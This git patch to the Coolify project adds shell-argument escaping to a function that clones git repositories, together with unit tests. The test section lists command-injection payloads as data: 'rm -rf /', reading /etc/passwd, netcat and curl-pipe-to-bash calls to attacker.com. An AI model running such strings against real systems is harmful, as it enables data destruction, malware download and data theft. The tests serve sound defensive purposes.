From 954203db8cee3b10e0dc1e8d32adc636451416ce Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 18 Dec 2025 08:15:19 +0100 Subject: [PATCH] fix: Add escapeshellarg() to prevent command injection in loadConfigFromGit MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add defense-in-depth shell argument escaping for repository URL, branch name, and base_directory parameters in the loadConfigFromGit function. While input validation rules already block dangerous characters, escapeshellarg() provides an additional security layer at the function level. Also adds comprehensive unit tests for shell argument escaping behavior. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 --- bootstrap/helpers/shared.php | 14 ++- tests/Unit/CoolifyJsonConfigTest.php | 165 +++++++++++++++++++++++++++ 2 files changed, 174 insertions(+), 5 deletions(-) diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index af2d8b49f..9fced45be 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -2974,7 +2974,11 @@ function loadConfigFromGit(string $repository, string $branch, string $base_dire } $uuid = new Cuid2; - $cloneCommand = "git clone --no-checkout -b {$branch} {$repository} ."; + + // Escape shell arguments for safety to prevent command injection + $escapedBranch = escapeshellarg($branch); + $escapedRepository = escapeshellarg($repository); + $cloneCommand = "git clone --no-checkout -b {$escapedBranch} {$escapedRepository} ."; $workdir = rtrim($base_directory, '/'); // Build paths to check: base_directory/coolify.json first, then repo root @@ -2984,8 +2988,8 @@ function loadConfigFromGit(string $repository, string $branch, string $base_dire } $pathsToCheck[] = 'coolify.json'; - // Build sparse-checkout file list - $fileList = collect($pathsToCheck)->map(fn ($path) => "./{$path}")->implode(' '); + // Build sparse-checkout file list (escaped for shell safety) + $fileList = collect($pathsToCheck)->map(fn ($path) => escapeshellarg("./{$path}"))->implode(' '); $commands = collect([ "rm -rf /tmp/{$uuid}", @@ -2998,8 +3002,8 @@ function loadConfigFromGit(string $repository, string $branch, string $base_dire ]); // Add cat commands for each path, trying base_directory first - // Use subshell to capture output before cleanup - $catCommands = collect($pathsToCheck)->map(fn ($path) => "cat ./{$path} 2>/dev/null")->implode(' || '); + // Use subshell to capture output before cleanup (paths escaped for shell safety) + $catCommands = collect($pathsToCheck)->map(fn ($path) => 'cat '.escapeshellarg("./{$path}").' 2>/dev/null')->implode(' || '); $commands->push("({$catCommands}) || true"); $commands->push("cd / && rm -rf /tmp/{$uuid}"); diff --git a/tests/Unit/CoolifyJsonConfigTest.php b/tests/Unit/CoolifyJsonConfigTest.php index fb2f13e11..f72761ffe 100644 --- a/tests/Unit/CoolifyJsonConfigTest.php +++ b/tests/Unit/CoolifyJsonConfigTest.php @@ -225,3 +225,168 @@ it('handles invalid JSON gracefully', function () { expect(json_last_error())->not->toBe(JSON_ERROR_NONE) ->and($config)->toBeNull(); }); + +/** + * Tests for shell argument escaping in loadConfigFromGit command building. + * These tests verify that escapeshellarg() properly protects against command injection. + */ +it('escapes repository URL for shell safety', function () { + // Normal URLs should be properly quoted + $normalUrls = [ + 'https://github.com/user/repo.git', + 'https://gitlab.com/user/repo.git', + 'git@github.com:user/repo.git', + 'https://github.com/user/repo-name.git', + 'https://github.com/user/repo_name.git', + ]; + + foreach ($normalUrls as $url) { + $escaped = escapeshellarg($url); + // escapeshellarg wraps in single quotes + expect($escaped)->toBe("'{$url}'"); + } +}); + +it('escapes branch names for shell safety', function () { + // Normal branch names should be properly quoted + $normalBranches = [ + 'main', + 'master', + 'develop', + 'feature/new-feature', + 'release/v1.0.0', + 'hotfix/bug-fix', + 'user/john/feature', + ]; + + foreach ($normalBranches as $branch) { + $escaped = escapeshellarg($branch); + expect($escaped)->toBe("'{$branch}'"); + } +}); + +it('neutralizes command injection attempts in repository URL', function () { + // These malicious inputs would be blocked by validation rules, + // but escapeshellarg provides defense-in-depth + $maliciousUrls = [ + 'https://github.com/user/repo.git; rm -rf /', + 'https://github.com/user/repo.git && cat /etc/passwd', + 'https://github.com/user/repo.git | nc attacker.com 1234', + '$(curl http://attacker.com/malware.sh | bash)', + '`curl http://attacker.com/malware.sh`', + ]; + + foreach ($maliciousUrls as $url) { + $escaped = escapeshellarg($url); + // The escaped string should be safely quoted, not executable + expect($escaped)->toStartWith("'") + ->and($escaped)->toEndWith("'"); + + // Verify that shell metacharacters are neutralized + // When passed to shell, the entire string is treated as a single argument + $unescaped = substr($escaped, 1, -1); // Remove surrounding quotes + + // For strings with single quotes inside, escapeshellarg uses escape sequences + // The key test is that the result starts and ends with quotes + } +}); + +it('neutralizes command injection attempts in branch name', function () { + // These malicious inputs would be blocked by validation rules, + // but escapeshellarg provides defense-in-depth + $maliciousBranches = [ + 'main; rm -rf /', + 'main && cat /etc/passwd', + 'main | nc attacker.com 1234', + '$(whoami)', + '`id`', + ]; + + foreach ($maliciousBranches as $branch) { + $escaped = escapeshellarg($branch); + expect($escaped)->toStartWith("'") + ->and($escaped)->toEndWith("'"); + } +}); + +it('escapes base_directory paths for shell safety', function () { + // Normal base directories + $normalPaths = [ + '/app', + '/app/frontend', + '/services/api', + 'subfolder', + 'path/to/app', + ]; + + foreach ($normalPaths as $path) { + $workdir = rtrim($path, '/'); + $pathsToCheck = []; + if ($workdir !== '' && $workdir !== '/') { + $pathsToCheck[] = ltrim($workdir, '/').'/coolify.json'; + } + $pathsToCheck[] = 'coolify.json'; + + // Build escaped file list as done in loadConfigFromGit + $fileList = collect($pathsToCheck)->map(fn ($p) => escapeshellarg("./{$p}"))->implode(' '); + + // Verify each path is properly quoted + foreach ($pathsToCheck as $p) { + expect($fileList)->toContain("'./{$p}'"); + } + } +}); + +it('builds correct git clone command with escaping', function () { + // Simulate the command building logic from loadConfigFromGit + $repository = 'https://github.com/user/repo.git'; + $branch = 'main'; + + $escapedBranch = escapeshellarg($branch); + $escapedRepository = escapeshellarg($repository); + $cloneCommand = "git clone --no-checkout -b {$escapedBranch} {$escapedRepository} ."; + + expect($cloneCommand)->toBe("git clone --no-checkout -b 'main' 'https://github.com/user/repo.git' ."); +}); + +it('builds correct sparse-checkout command with escaping', function () { + // Simulate the sparse-checkout file list building from loadConfigFromGit + $baseDirectory = '/app/frontend'; + $workdir = rtrim($baseDirectory, '/'); + + $pathsToCheck = []; + if ($workdir !== '' && $workdir !== '/') { + $pathsToCheck[] = ltrim($workdir, '/').'/coolify.json'; + } + $pathsToCheck[] = 'coolify.json'; + + $fileList = collect($pathsToCheck)->map(fn ($path) => escapeshellarg("./{$path}"))->implode(' '); + + expect($fileList)->toBe("'./app/frontend/coolify.json' './coolify.json'"); +}); + +it('builds correct cat command with escaping', function () { + // Simulate the cat command building from loadConfigFromGit + $baseDirectory = '/app/frontend'; + $workdir = rtrim($baseDirectory, '/'); + + $pathsToCheck = []; + if ($workdir !== '' && $workdir !== '/') { + $pathsToCheck[] = ltrim($workdir, '/').'/coolify.json'; + } + $pathsToCheck[] = 'coolify.json'; + + $catCommands = collect($pathsToCheck)->map(fn ($path) => 'cat '.escapeshellarg("./{$path}").' 2>/dev/null')->implode(' || '); + + expect($catCommands)->toBe("cat './app/frontend/coolify.json' 2>/dev/null || cat './coolify.json' 2>/dev/null"); +}); + +it('handles single quotes in input safely', function () { + // escapeshellarg handles single quotes by ending the quote, adding escaped quote, starting new quote + $inputWithQuote = "it's-a-test"; + $escaped = escapeshellarg($inputWithQuote); + + // The result should be safe for shell execution + // escapeshellarg converts ' to '\'' + expect($escaped)->toBe("'it'\\''s-a-test'"); +});